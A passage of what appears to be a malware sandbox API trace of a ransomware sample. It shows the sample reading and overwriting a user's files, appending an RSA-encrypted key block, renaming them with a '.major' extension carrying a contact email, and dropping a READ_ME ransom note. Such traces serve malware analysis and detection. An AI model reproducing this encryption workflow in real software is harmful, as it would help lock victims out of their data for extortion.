hHeap=0x570000) returned 1 [0146.319] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\0tPMP3MycwcUXM.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\0tpmp3mycwcuxm.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0146.319] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=92300) returned 1 [0146.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1688c) returned 0x631898 [0146.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1688c) returned 0x648130 [0146.319] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x1688c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x1688c, lpOverlapped=0x0) returned 1 [0146.322] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-92300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.322] WriteFile (in: hFile=0x5e4, lpBuffer=0x648130*, nNumberOfBytesToWrite=0x1688c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x648130*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1688c, lpOverlapped=0x0) returned 1 [0146.322] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0146.323] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x648130 | out: hHeap=0x570000) returned 1 [0146.323] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1688c [0146.324] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.324] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0146.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0146.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0146.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0146.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+OrmgN/UkJX69vdd+xHk45iJ+9OAqXYPxrVfqjdjRZuyHpNpuzXJpSv4ExVCTUfO\nosNPWhbatF+oN4Pxd7gUKfYxHOtLhD3xpX/k8kw+q+8kVQVEPf4JggZObsPwEpnS\nvaqVLOwusmjBpqcAP8e9N9jWuF6p57sSMaK0R9KsuVSWJYbtm91K5uClBT4KyvRQ\nj08Otp2rCD/czoGc3NZv4Pxm149G+HUsH2I6p1AU7Bw9Ig1KsfMfchnSA1joImQ9\nd4e0ZJb+wsAtTJ/p+XVbyP9cOx3CNCfDXz841aROBmbi1jaMw6xyp7tftR+57QzQ\nhFbil6ksXNPDVbgieNvIGg==\n", pcchString=0x2e3f9a8) returned 1 [0146.722] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0146.722] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0146.722] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0146.722] CloseHandle (hObject=0x5e4) returned 1 [0146.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0146.723] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\0tPMP3MycwcUXM.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\0tpmp3mycwcuxm.mkv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\0tPMP3MycwcUXM.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\0tpmp3mycwcuxm.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0146.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0146.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0146.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0146.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0146.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0146.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0146.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0146.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0146.724] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf5a65a7, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f028 [0146.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0146.725] GetLastError () returned 0x0 [0146.725] SetLastError (dwErrCode=0x0) [0146.725] GetLastError () returned 0x0 [0146.725] SetLastError (dwErrCode=0x0) [0146.725] GetLastError () returned 0x0 [0146.725] SetLastError (dwErrCode=0x0) [0146.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0146.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0146.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0146.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0146.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e8a8 [0146.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e8a8 | out: hHeap=0x570000) returned 1 [0146.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0146.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0146.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0146.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0146.726] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf5a65a7, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0146.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0146.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0146.726] GetLastError () returned 0x0 [0146.726] SetLastError (dwErrCode=0x0) [0146.726] GetLastError () returned 0x0 [0146.726] SetLastError (dwErrCode=0x0) [0146.726] GetLastError () returned 0x0 [0146.726] SetLastError (dwErrCode=0x0) [0146.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0146.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0146.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0146.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0146.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e8a8 [0146.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e8a8 | out: hHeap=0x570000) returned 1 [0146.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0146.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0146.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0146.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0146.727] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443642b0, ftCreationTime.dwHighDateTime=0x1d475c9, ftLastAccessTime.dwLowDateTime=0xad9c8c80, ftLastAccessTime.dwHighDateTime=0x1d4d3e0, ftLastWriteTime.dwLowDateTime=0xad9c8c80, ftLastWriteTime.dwHighDateTime=0x1d4d3e0, nFileSizeHigh=0x0, nFileSizeLow=0x27e2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1lz3gxaeg n2ewwWuC6.xlsx", cAlternateFileName="1LZ3GX~1.XLS")) returned 1 [0146.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0146.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0146.727] GetLastError () returned 0x0 [0146.727] SetLastError (dwErrCode=0x0) [0146.727] GetLastError () returned 0x0 [0146.727] SetLastError (dwErrCode=0x0) [0146.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0146.727] GetLastError () returned 0x0 [0146.727] SetLastError (dwErrCode=0x0) [0146.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0146.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0146.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0146.727] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd8492b0, ftCreationTime.dwHighDateTime=0x1d48e0d, ftLastAccessTime.dwLowDateTime=0x8dd52990, ftLastAccessTime.dwHighDateTime=0x1d4847e, ftLastWriteTime.dwLowDateTime=0x8dd52990, ftLastWriteTime.dwHighDateTime=0x1d4847e, nFileSizeHigh=0x0, nFileSizeLow=0xf345, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1xl5-3NM9-VoJ7UoNhJ.docx", cAlternateFileName="1XL5-3~1.DOC")) returned 1 [0146.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0146.728] GetLastError () returned 0x0 [0146.728] SetLastError (dwErrCode=0x0) [0146.728] GetLastError () returned 0x0 [0146.728] SetLastError (dwErrCode=0x0) [0146.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0146.728] GetLastError () returned 0x0 [0146.728] SetLastError (dwErrCode=0x0) [0146.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0146.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0146.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0146.728] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7a9a00, ftCreationTime.dwHighDateTime=0x1d48692, ftLastAccessTime.dwLowDateTime=0xfcf67fe0, ftLastAccessTime.dwHighDateTime=0x1d4788a, ftLastWriteTime.dwLowDateTime=0xfcf67fe0, ftLastWriteTime.dwHighDateTime=0x1d4788a, nFileSizeHigh=0x0, nFileSizeLow=0x10243, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="7ev7dtTf0pjP8.docx", cAlternateFileName="7EV7DT~1.DOC")) returned 1 [0146.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0146.728] GetLastError () returned 0x0 [0146.728] SetLastError (dwErrCode=0x0) [0146.728] GetLastError () returned 0x0 [0146.729] SetLastError (dwErrCode=0x0) [0146.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0146.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0146.729] GetLastError () returned 0x0 [0146.729] SetLastError (dwErrCode=0x0) [0146.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0146.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0146.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0146.729] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2565bd80, ftCreationTime.dwHighDateTime=0x1d4a066, ftLastAccessTime.dwLowDateTime=0xda26f9d0, ftLastAccessTime.dwHighDateTime=0x1d4d57e, ftLastWriteTime.dwLowDateTime=0xda26f9d0, ftLastWriteTime.dwHighDateTime=0x1d4d57e, nFileSizeHigh=0x0, nFileSizeLow=0x667f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="9RbroTWMr4.docx", cAlternateFileName="9RBROT~1.DOC")) returned 1 [0146.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0146.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0146.729] GetLastError () returned 0x0 [0146.729] SetLastError (dwErrCode=0x0) [0146.729] GetLastError () returned 0x0 [0146.729] SetLastError (dwErrCode=0x0) [0146.729] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0146.729] GetLastError () returned 0x0 [0146.729] SetLastError (dwErrCode=0x0) [0146.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0146.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0146.730] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bebf5d0, ftCreationTime.dwHighDateTime=0x1d4cce1, ftLastAccessTime.dwLowDateTime=0x1fa37930, ftLastAccessTime.dwHighDateTime=0x1d4c9f3, ftLastWriteTime.dwLowDateTime=0x1fa37930, ftLastWriteTime.dwHighDateTime=0x1d4c9f3, nFileSizeHigh=0x0, nFileSizeLow=0x15407, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="A6qm.xls", cAlternateFileName="")) returned 1 [0146.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0146.730] GetLastError () returned 0x0 [0146.730] SetLastError (dwErrCode=0x0) [0146.730] GetLastError () returned 0x0 [0146.730] SetLastError (dwErrCode=0x0) [0146.730] GetLastError () returned 0x0 [0146.730] SetLastError (dwErrCode=0x0) [0146.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0146.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0146.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0146.731] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54813240, ftCreationTime.dwHighDateTime=0x1d4a33e, ftLastAccessTime.dwLowDateTime=0xf9cefb90, ftLastAccessTime.dwHighDateTime=0x1d4e62f, ftLastWriteTime.dwLowDateTime=0xf9cefb90, ftLastWriteTime.dwHighDateTime=0x1d4e62f, nFileSizeHigh=0x0, nFileSizeLow=0xab3a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Aimu 7oplbqknXDg_c-Y.docx", cAlternateFileName="AIMU7O~1.DOC")) returned 1 [0146.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0146.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0146.731] GetLastError () returned 0x0 [0146.731] SetLastError (dwErrCode=0x0) [0146.731] GetLastError () returned 0x0 [0146.731] SetLastError (dwErrCode=0x0) [0146.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0146.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0146.731] GetLastError () returned 0x0 [0146.731] SetLastError (dwErrCode=0x0) [0146.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0146.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0146.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0146.731] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2b54d0, ftCreationTime.dwHighDateTime=0x1d4c7c8, ftLastAccessTime.dwLowDateTime=0x6c6fed20, ftLastAccessTime.dwHighDateTime=0x1d4c57f, ftLastWriteTime.dwLowDateTime=0x6c6fed20, ftLastWriteTime.dwHighDateTime=0x1d4c57f, nFileSizeHigh=0x0, nFileSizeLow=0x18230, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AyyBvwawD-ARD6.odp", cAlternateFileName="AYYBVW~1.ODP")) returned 1 [0146.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0146.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0146.731] GetLastError () returned 0x0 [0146.731] SetLastError (dwErrCode=0x0) [0146.732] GetLastError () returned 0x0 [0146.732] SetLastError (dwErrCode=0x0) [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0146.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0146.732] GetLastError () returned 0x0 [0146.732] SetLastError (dwErrCode=0x0) [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0146.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0146.732] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29c008a0, ftCreationTime.dwHighDateTime=0x1d4c702, ftLastAccessTime.dwLowDateTime=0x61f72380, ftLastAccessTime.dwHighDateTime=0x1d4d5cf, ftLastWriteTime.dwLowDateTime=0x61f72380, ftLastWriteTime.dwHighDateTime=0x1d4d5cf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cupDn", cAlternateFileName="")) returned 1 [0146.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0146.732] GetLastError () returned 0x0 [0146.732] SetLastError (dwErrCode=0x0) [0146.732] GetLastError () returned 0x0 [0146.732] SetLastError (dwErrCode=0x0) [0146.732] GetLastError () returned 0x0 [0146.732] SetLastError (dwErrCode=0x0) [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0146.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0146.733] GetLastError () returned 0x0 [0146.733] SetLastError (dwErrCode=0x0) [0146.733] GetLastError () returned 0x0 [0146.733] SetLastError (dwErrCode=0x0) [0146.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0146.733] GetLastError () returned 0x0 [0146.733] SetLastError (dwErrCode=0x0) [0146.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0146.733] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\cupdn\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0146.734] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.735] CloseHandle (hObject=0x5e8) returned 1 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0146.735] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0146.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0146.735] GetLastError () returned 0x0 [0146.735] SetLastError (dwErrCode=0x0) [0146.735] GetLastError () returned 0x0 [0146.735] SetLastError (dwErrCode=0x0) [0146.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0146.735] GetLastError () returned 0x0 [0146.735] SetLastError (dwErrCode=0x0) [0146.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0146.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0146.735] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0146.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0146.736] GetLastError () returned 0x0 [0146.736] SetLastError (dwErrCode=0x0) [0146.736] 